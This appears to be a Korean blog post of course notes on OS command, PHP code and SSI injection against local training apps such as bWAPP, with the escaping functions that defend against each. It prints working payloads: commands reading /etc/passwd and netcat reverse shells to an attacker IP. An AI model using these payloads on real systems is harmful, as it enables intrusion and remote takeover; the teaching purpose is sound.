메가IT아카데미 국기과정/JAVA와 웹보안
[1-2] OS Comman&PHP Code&SSI Injection
한님폐하
2022. 9. 12. 19:38
1. 다중 명령어 관련 메타케릭터
- | : 앞에 실행한 명령어 결과를 파이프 다음 명령어로 넘김
- ; : 여러개의 명령어를 순차적으로 수행하도록 함(앞에 명령이 실패되어도, 뒤에 명령이 실행됨)
- && : 여러개의 명령어를 순차적으로 수행하도록 함(단, 앞에 명령이 성공되면, 뒤에 명령이 실행됨)
- || : 앞에 명령이 성공되면, 다음 명령이 수행 안됨 (만약, 앞에 명령이 실패되면, 다음 명령이 실행됨)
2. OS Command Injection
- 이 시나리오는 nslookup 명령을 제공하는 웹페이지이다.
- nslookup 명령 다음에 다중 명령어 관련 메터케릭터를 이용하면 시스템 자원 접근이 가능하다.
- 또한, 백도어를 통해 공격자가 시스템에 연결 될 수 있다.
www.google.com ; cat /etc/passwd | head -3
www.google.com ; nc -e /bin/bash [공격자 IP] 4444
- medium 레벨에서는 str_replace 함수를 이용하여 특수 문자/기호를 삭제하는 것으로 치환한다.
- high 레벨에서는 'escapeshellcmd' 함수를 이용한다.
- 'escapeshellcmd' 함수는 특수 문자/기호가 처리되지 않도록 역슬래쉬를 앞에 붙여 쉘 명령이 실행되지 않게 한다.
- 참고 사이트 : https://www.php.net/manual/en/function.escapeshellcmd.php
3. PHP Code Injection
- 'eval' 함수 : 문자열을 입력 받아 그 문자열을 수식으로 처리한 이후 결과 값을 반환하는 함수이다.
- 'eval' 함수 안에 다중 메터케릭터 및 system 함수를 인젝션하면 시스템 자원 접근이 가능하다.
- 시스템 자원 접근 인젝션 URL이나 Reverse_TCP 인젝션 URL을 만들 수 있다.
http://192.168.20.205/bWAPP/phpi.php?message=test ; system('cat /etc/passwd | head -3')
http://192.168.20.205/bWAPP/phpi.php?message=test ; system('nc -e /bin/bash [공격자 IP] 4444')
4. Server-Side Includes (SSI) Injection
- HTML 페이지 전체 코드를 수정하지 않고 공통 모듈파일로 관리하여 동적 업데이트 내용(Ex : 방문자 수 누적, 홈페이지 로고 수정)을 추가하는 기능을 수행한다.
- SSI를 사용하는 웹페이지는 SSI를 처리하기 위한 .shtml 파일을 생성한다.
- 다음과 같이 SSI 지시어를 인젝션하면 시스템 자원을 접근하거나, 백도어를 통해 공격자가 시스템에 연결 될 수 있다.
First name: <!--#exec cmd="head -3 /etc/passwd" -->
Last name: <!--#exec cmd="uname -a" -->
First name: <!--#exec cmd="nc -e /bin/bash 192.168.20.50 4444" -->
- medium 레벨에서는 'addslashes' 함수를 이용한다.
- 'addslashes' 함수는 특수 문자/기호 앞에 역슬래시를 붙여 이스케이프를 수행한다.
- high 레벨에서는 'htmlspecialchars' 함수를 이용한다.
- 'htmlspecialchars' 함수는 HTML 코드에 특수 문자/기호가 처리되지 않도록 방지하는 기능을 수행한다